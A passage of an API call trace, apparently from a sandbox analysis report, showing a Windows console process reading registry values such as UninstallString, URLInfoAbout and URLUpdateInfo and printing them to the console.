lpUsedDefaultChar=0x0) returned 4 [0148.633] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.633] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.633] __iob_func () returned 0x7fefd702a80 [0148.633] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.633] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.633] _fileno (_File=0x7fefd702ab0) returned 1 [0148.633] _errno () returned 0xc4bb0 [0148.633] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.633] _errno () returned 0xc4bb0 [0148.633] GetFileType (hFile=0x50) returned 0x1 [0148.633] lstrlenW (lpString="0x1") returned 3 [0148.633] GetConsoleOutputCP () returned 0x1b5 [0148.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.634] GetConsoleOutputCP () returned 0x1b5 [0148.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.634] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.634] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.634] __iob_func () returned 0x7fefd702a80 [0148.634] _fileno (_File=0x7fefd702ab0) returned 1 [0148.634] _errno () returned 0xc4bb0 [0148.634] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.634] _errno () returned 0xc4bb0 [0148.634] GetFileType (hFile=0x50) returned 0x1 [0148.634] lstrlenW (lpString="\n") returned 1 [0148.634] GetConsoleOutputCP () returned 0x1b5 [0148.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.634] GetConsoleOutputCP () returned 0x1b5 [0148.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.634] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.634] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.634] GetProcessHeap () returned 0x2e0000 [0148.634] GetProcessHeap () returned 0x2e0000 [0148.634] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.634] GetProcessHeap () returned 0x2e0000 [0148.635] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.635] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.635] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.635] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.635] GetProcessHeap () returned 0x2e0000 [0148.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.635] GetProcessHeap () returned 0x2e0000 [0148.635] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.635] GetProcessHeap () returned 0x2e0000 [0148.635] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.635] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.635] __iob_func () returned 0x7fefd702a80 [0148.635] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.635] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.635] _fileno (_File=0x7fefd702ab0) returned 1 [0148.635] _errno () returned 0xc4bb0 [0148.635] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.635] _errno () returned 0xc4bb0 [0148.635] GetFileType (hFile=0x50) returned 0x1 [0148.635] lstrlenW (lpString=" ") returned 4 [0148.635] GetConsoleOutputCP () returned 0x1b5 [0148.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.635] GetConsoleOutputCP () returned 0x1b5 [0148.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.635] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.635] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.636] lstrlenW (lpString="UninstallString") returned 15 [0148.636] __iob_func () returned 0x7fefd702a80 [0148.636] _fileno (_File=0x7fefd702ab0) returned 1 [0148.636] _errno () returned 0xc4bb0 [0148.636] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.636] _errno () returned 0xc4bb0 [0148.636] GetFileType (hFile=0x50) returned 0x1 [0148.636] lstrlenW (lpString="UninstallString") returned 15 [0148.636] GetConsoleOutputCP () returned 0x1b5 [0148.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.636] GetConsoleOutputCP () returned 0x1b5 [0148.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0148.636] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.636] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.636] __iob_func () returned 0x7fefd702a80 [0148.636] _fileno (_File=0x7fefd702ab0) returned 1 [0148.636] _errno () returned 0xc4bb0 [0148.636] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.636] _errno () returned 0xc4bb0 [0148.636] GetFileType (hFile=0x50) returned 0x1 [0148.636] lstrlenW (lpString=" ") returned 4 [0148.636] GetConsoleOutputCP () returned 0x1b5 [0148.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.636] GetConsoleOutputCP () returned 0x1b5 [0148.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.637] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.637] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.637] __iob_func () returned 0x7fefd702a80 [0148.637] _fileno (_File=0x7fefd702ab0) returned 1 [0148.637] _errno () returned 0xc4bb0 [0148.637] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.637] _errno () returned 0xc4bb0 [0148.637] GetFileType (hFile=0x50) returned 0x1 [0148.637] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.637] GetConsoleOutputCP () returned 0x1b5 [0148.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.637] GetConsoleOutputCP () returned 0x1b5 [0148.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.637] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.637] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.637] __iob_func () returned 0x7fefd702a80 [0148.637] _fileno (_File=0x7fefd702ab0) returned 1 [0148.637] _errno () returned 0xc4bb0 [0148.637] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.637] _errno () returned 0xc4bb0 [0148.637] GetFileType (hFile=0x50) returned 0x1 [0148.637] lstrlenW (lpString=" ") returned 4 [0148.638] GetConsoleOutputCP () returned 0x1b5 [0148.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.638] GetConsoleOutputCP () returned 0x1b5 [0148.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.638] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.638] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.638] __iob_func () returned 0x7fefd702a80 [0148.638] _fileno (_File=0x7fefd702ab0) returned 1 [0148.638] _errno () returned 0xc4bb0 [0148.638] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.638] _errno () returned 0xc4bb0 [0148.638] GetFileType (hFile=0x50) returned 0x1 [0148.638] lstrlenW (lpString="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}") returned 52 [0148.638] GetConsoleOutputCP () returned 0x1b5 [0148.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.638] GetConsoleOutputCP () returned 0x1b5 [0148.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", lpUsedDefaultChar=0x0) returned 52 [0148.638] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.638] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.639] __iob_func () returned 0x7fefd702a80 [0148.639] _fileno (_File=0x7fefd702ab0) returned 1 [0148.639] _errno () returned 0xc4bb0 [0148.639] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.639] _errno () returned 0xc4bb0 [0148.639] GetFileType (hFile=0x50) returned 0x1 [0148.639] lstrlenW (lpString="\n") returned 1 [0148.639] GetConsoleOutputCP () returned 0x1b5 [0148.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.639] GetConsoleOutputCP () returned 0x1b5 [0148.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.639] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.639] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.639] GetProcessHeap () returned 0x2e0000 [0148.639] GetProcessHeap () returned 0x2e0000 [0148.639] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.639] GetProcessHeap () returned 0x2e0000 [0148.639] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.639] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.639] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.639] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.639] GetProcessHeap () returned 0x2e0000 [0148.639] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.639] GetProcessHeap () returned 0x2e0000 [0148.639] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.639] GetProcessHeap () returned 0x2e0000 [0148.639] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.640] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.640] __iob_func () returned 0x7fefd702a80 [0148.640] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.640] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.640] _fileno (_File=0x7fefd702ab0) returned 1 [0148.640] _errno () returned 0xc4bb0 [0148.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.640] _errno () returned 0xc4bb0 [0148.640] GetFileType (hFile=0x50) returned 0x1 [0148.640] lstrlenW (lpString=" ") returned 4 [0148.640] GetConsoleOutputCP () returned 0x1b5 [0148.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.640] GetConsoleOutputCP () returned 0x1b5 [0148.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.640] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.640] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.640] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.640] __iob_func () returned 0x7fefd702a80 [0148.640] _fileno (_File=0x7fefd702ab0) returned 1 [0148.640] _errno () returned 0xc4bb0 [0148.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.640] _errno () returned 0xc4bb0 [0148.640] GetFileType (hFile=0x50) returned 0x1 [0148.640] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.640] GetConsoleOutputCP () returned 0x1b5 [0148.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.641] GetConsoleOutputCP () returned 0x1b5 [0148.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0148.641] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.641] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.641] __iob_func () returned 0x7fefd702a80 [0148.641] _fileno (_File=0x7fefd702ab0) returned 1 [0148.641] _errno () returned 0xc4bb0 [0148.641] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.641] _errno () returned 0xc4bb0 [0148.641] GetFileType (hFile=0x50) returned 0x1 [0148.641] lstrlenW (lpString=" ") returned 4 [0148.641] GetConsoleOutputCP () returned 0x1b5 [0148.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.641] GetConsoleOutputCP () returned 0x1b5 [0148.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.641] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.641] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.641] __iob_func () returned 0x7fefd702a80 [0148.641] _fileno (_File=0x7fefd702ab0) returned 1 [0148.641] _errno () returned 0xc4bb0 [0148.641] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.642] _errno () returned 0xc4bb0 [0148.642] GetFileType (hFile=0x50) returned 0x1 [0148.642] lstrlenW (lpString="REG_SZ") returned 6 [0148.642] GetConsoleOutputCP () returned 0x1b5 [0148.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.642] GetConsoleOutputCP () returned 0x1b5 [0148.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.642] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.642] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.642] __iob_func () returned 0x7fefd702a80 [0148.642] _fileno (_File=0x7fefd702ab0) returned 1 [0148.642] _errno () returned 0xc4bb0 [0148.642] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.642] _errno () returned 0xc4bb0 [0148.642] GetFileType (hFile=0x50) returned 0x1 [0148.642] lstrlenW (lpString=" ") returned 4 [0148.642] GetConsoleOutputCP () returned 0x1b5 [0148.642] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.642] GetConsoleOutputCP () returned 0x1b5 [0148.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.643] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.643] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.643] __iob_func () returned 0x7fefd702a80 [0148.643] _fileno (_File=0x7fefd702ab0) returned 1 [0148.643] _errno () returned 0xc4bb0 [0148.643] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.643] _errno () returned 0xc4bb0 [0148.643] GetFileType (hFile=0x50) returned 0x1 [0148.643] lstrlenW (lpString="") returned 0 [0148.643] __iob_func () returned 0x7fefd702a80 [0148.643] _fileno (_File=0x7fefd702ab0) returned 1 [0148.643] _errno () returned 0xc4bb0 [0148.643] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.643] _errno () returned 0xc4bb0 [0148.643] GetFileType (hFile=0x50) returned 0x1 [0148.643] lstrlenW (lpString="\n") returned 1 [0148.643] GetConsoleOutputCP () returned 0x1b5 [0148.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.643] GetConsoleOutputCP () returned 0x1b5 [0148.643] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.643] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.643] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.644] GetProcessHeap () returned 0x2e0000 [0148.644] GetProcessHeap () returned 0x2e0000 [0148.644] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.644] GetProcessHeap () returned 0x2e0000 [0148.644] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.644] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.644] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.644] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.644] GetProcessHeap () returned 0x2e0000 [0148.644] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.644] GetProcessHeap () returned 0x2e0000 [0148.644] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.644] GetProcessHeap () returned 0x2e0000 [0148.644] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.644] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.644] __iob_func () returned 0x7fefd702a80 [0148.644] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.644] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.644] _fileno (_File=0x7fefd702ab0) returned 1 [0148.644] _errno () returned 0xc4bb0 [0148.644] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.644] _errno () returned 0xc4bb0 [0148.644] GetFileType (hFile=0x50) returned 0x1 [0148.644] lstrlenW (lpString=" ") returned 4 [0148.644] GetConsoleOutputCP () returned 0x1b5 [0148.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.645] GetConsoleOutputCP () returned 0x1b5 [0148.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.645] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.645] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.645] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.645] __iob_func () returned 0x7fefd702a80 [0148.645] _fileno (_File=0x7fefd702ab0) returned 1 [0148.645] _errno () returned 0xc4bb0 [0148.645] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.645] _errno () returned 0xc4bb0 [0148.645] GetFileType (hFile=0x50) returned 0x1 [0148.645] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.645] GetConsoleOutputCP () returned 0x1b5 [0148.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.645] GetConsoleOutputCP () returned 0x1b5 [0148.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", 